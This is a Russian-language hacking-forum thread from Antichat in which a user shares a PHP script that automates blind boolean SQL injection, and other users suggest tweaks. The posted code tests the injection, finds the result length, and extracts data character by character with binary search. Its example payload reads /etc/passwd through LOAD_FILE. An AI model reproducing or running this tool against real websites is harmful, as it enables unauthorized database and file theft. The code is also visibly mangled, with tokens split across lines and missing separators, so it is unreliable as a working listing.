[Скрипт] Blind SQL-inj Автоматическая раскрутка Blind SQL-injection

Discussion in 'Инструменты' started by randman, 4 May 2011.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Перейти к скрипту: http://forum.antichat.ru/showpost.php?p=3285188

    Теги:
    Blind SQL-inj SQL Инъекция Слепая инъекция как раскрутить слепую Blind инъекцию скрипт раскрутки быстрая раскрутка слепой инъекции программа для автоматической раскрутки Blind injection быстро помогите раскрутить скрипт для упрощения раскрутки injection Блайнд инъекция софт что делать использование примеры полностью не вывоит раскрутить Для этого мы возмем и запустим быстро​
     
    #1 randman, 4 May 2011
    Last edited: 25 Sep 2012
    8 people like this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Бинарный поиск чем не устраивает?
     
  3. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    добавлением echo "<pre>\n"; и flush(); после выводов можно запускать скрипт из веба (ибо никаких argv итп нету) + скрипту как минимум не хватает set_time_limit(0). как минимум..
     
    _________________________
    2 people like this.
  4. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Устраивает, но этот вариант тоже работает.
    Set_time_limit(0); Добавил.
    Но я вообще не вижу смысла запускать его из под веба, так что оставлю консольным.
     
  5. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Скрипт v0.2

    Недавно понадобился подобный скрипт, а под рукой ничего достойного нету. Скрипт проверяет правильность инъекции, подбирает длину и запрос методом интервалов, точно не знаю, как это правильно назвать т. к. все брал исключительно из головы. Скрипт небольшой, выкладываю в первую очередь для хорошо-знающих PHP, так как его нужно немного переделывать под каждый случай.

    В настоящий момент скрипт заточен под 1(bool)-Слепую инъекцию, если у вас будут предложения, могу немного оптимизировать код, убрать лишние запросы(Уменьшается точность), добавить возможность других методов раскрутки и отельного потока для каждого символа(Под *nix)(Пишите в теме - Отвечу всем).

    Для пользующихся скрипт есть в аттаче.

    PHP:
    <?php
    set_time_limit
    (0);
    error_reporting(E_ALL);
    ini_set('display_errors','On');

    define('HeaderArray''HeaderArray'true);

    echo 
    "################################################################################
    # Copyright (c) 2012 XAMEHA                                                    #
    #                        Antichat.ru                                           #
    #                                                                              #
    #Usage: php FileName.php \\                                                     #
    #1.      \"http://host:port/path/index2.php?Get-Parm\" \\                         #
    #2.      \"Post-Data\" \\                                                         #
    #3.      \"SQL\" \\                                                               #
    #4.     \"SQL-Return\" \\, Example: \"qwertyuiopasdfghjklzxcvbnm\"                  #
    #         Or is it easier to set all the required variables in the PHP-File    #
    ################################################################################\n\n"
    ;
    ///*
    $argv[1] = 'http://127.0.0.1:80/index.php';
    $argv[2] = 'fid=(7)and({BoolInjVar})+--+';
    $argv[3] = 'LOAD_FILE(\'/etc/passwd\')';
    $argv[4] = "qwertyuiopasdfghjklzxcvbnm-0123456789.:\r\n";
    $argv[5] = '1';
    //*/

    !isset($argv[1]) && exit;
    !isset(
    $argv[2]) && ($argv[2]=false);

    class 
    BlindSQL {
        private 
    $path '';
        protected 
    $len = array(128);
        
        private 
    $RetStr '';

        public 
    $TestSQL =  array(
                        
    'good' => '1=1',        
                        
    'bad'  => '1=0'
                    
    );

        public 
    $parm = array(
                        
    'post' => false
                        
    );
                    
    /*Функция переобразования ответа в true или false*/
        
    private function ToBool($ret) {
            
    $RetVar false;
                unset(
    $ret[0]);
            foreach (
    $ret as $value)
                if (
    'content-disposition' === strtolower(str_replace('_''-'substr($value019)))) {
                    
    $RetVar true;
                    break;    
            }    
                
            return 
    $RetVar;
        }                    
                    
    /*Функция отправки запроса*/
        
    private function SendRequest($TypeRequest$InjVar) {
            switch(
    $TypeRequest) {
                case 
    'HeaderArray':
                        
    /*Устанавливаем переменные*/
                    
    $path str_replace('{BoolInjVar}'$InjVar$this->path);
                    
    $post_parm = ($this->parm->post===false)?false:(str_replace('{BoolInjVar}'$InjVar$this->parm->post));
                        
    /*Выполняем запрос*/
                    
    $ch curl_init();
                    
    curl_setopt($chCURLOPT_URL$this->path);
                    
    curl_setopt($chCURLOPT_ENCODING'gzip,deflate');
                    
    curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
                    
    curl_setopt($chCURLOPT_CONNECTTIMEOUT30);
                    
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1');
                    
    curl_setopt($chCURLOPT_HEADERtrue);
                    if (
    $post_parm !== false) {
                        
    curl_setopt($chCURLOPT_POSTtrue);
                        
    curl_setopt($chCURLOPT_POSTFIELDS$post_parm);
                    }
                            
    //curl_setopt($ch, CURLOPT_VERBOSE, 1);//Поробное протоколирование запроса
                            //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888");//Прокси
                    
    $out curl_exec($ch);
                    
    $err = (object)array(
                            
    'No'  => curl_errno($ch), 
                            
    'Str' => curl_error($ch)
                            );
                    
    curl_close($ch);
                    if(
    $err->No !== 0)
                        die(
    "\nError, {$err->No}{$err->str}\n\n");
                    return 
    $this->ToBool(array_map(
                            function (
    $str) {
                                return 
    trim($str"\r\n ");
                            }, 
    explode("\n"$out)
                    ));
                break;
            }
            return 
    null;
        }
        public function 
    StartInjecting ($type$sql$mask$len 0) {
            
    $this->sql $sql;
            switch(
    $type) {
                case 
    'HeaderArray':
                    
    /*Тестируем корректность MySQL*/
                    
    $Good $this->SendRequest(HeaderArray$this->TestSQL['good']);
                    
    $Bad  $this->SendRequest(HeaderArray$this->TestSQL['bad']);            
                    if(!(
    $Good===true && $Bad===false))
                        die(
    "This injection does not behave correctly in a standard request!\n");
                    
                    
    /*Начинаем брутфорсить длину*/
                        
    $len end($this->len);
                        
    $this->len = array();
                        
    $module 0;
                    while(
    true) {
                        
    $RetBool $this->SendRequest(HeaderArray"length(({$this->sql}))<=".($len+$module));
                        
    $this->len[count($this->len)] = (object)array('len' => ($len+$module), 'ret' => $RetBool);

                        
    $module = ($RetBool!==true)?($module+$len):($module);
                        
    $len    = ($RetBool!==true)?($len*2):$len/2;
                        
                        echo 
    '+';
                        if(!
    is_int($module+$len)) {
                            echo 
    "\nLength: ".($this->len $this->len[count($this->len)-1]->len)."\n\n";
                            break;
                        }
                    }
                    unset(
    $len$module$RetBool$Good$Bad);
                    
                    
    /*Начинаем побирать строку*/
                        /*Формируем массив*/
                        
    $this->BinaryInterval array_map(
                            function (
    $chr) {
                                return (int)
    ord($chr);                    
                            }, 
    str_split($mask));
                        
    sort($this->BinaryInterval);
                        
    /**/
                    
    $this->RetStr str_repeat('*'$this->len);
                    for(
    $i=0;$i<$this->len;++$i)
                        
    $this->RetStr{$i} = chr($this->BinaryIntervalFind($i+1$this->BinaryIntervaltrue));
                    
    /*Выводим строку*/
                    
    return "\n\nString: {$this->RetStr}\n";
                break;
            }    
        }
        private function 
    BinaryIntervalFind($NumChar$BinInterval$view) {
            
    $BinInterval array_chunk($BinIntervalceil(count($BinInterval)/2));
            
    $BinInterval = ($this->SendRequest(HeaderArray"ord(mid(({$this->sql}),{$NumChar},1))<=".(end($BinInterval[0]))))?$BinInterval[0]:$BinInterval[1];
            if(
    count($BinInterval) === 1) {
                
    $RetBool = ($this->SendRequest(HeaderArray"ord(mid(({$this->sql}),{$NumChar},1))=".(reset($BinInterval))));
                
    $a $RetBool?reset($BinInterval):false;
                if(
    $view === true)
                    echo 
    $a?chr($a):'*';
                return 
    reset($BinInterval);
            }
            return 
    $this->BinaryIntervalFind($NumChar$BinInterval$view);
        }
        function 
    __construct($path$post) {
            
    $this->parm = (object)$this->parm;
            
    $this->path $path;
            
    $this->parm->post $post;
            
            
        }
    }
    $BindObj = new BlindSQL(trim((string)$argv[1], ' "\'`'), $argv[2]);
    $BindObj->StartInjecting(HeaderArray$argv[3], $argv[4], (int)$argv[5]);
    echo 
    "\n";
     
    #5 randman, 25 Sep 2012
    Last edited: 25 Nov 2012
    1 person likes this.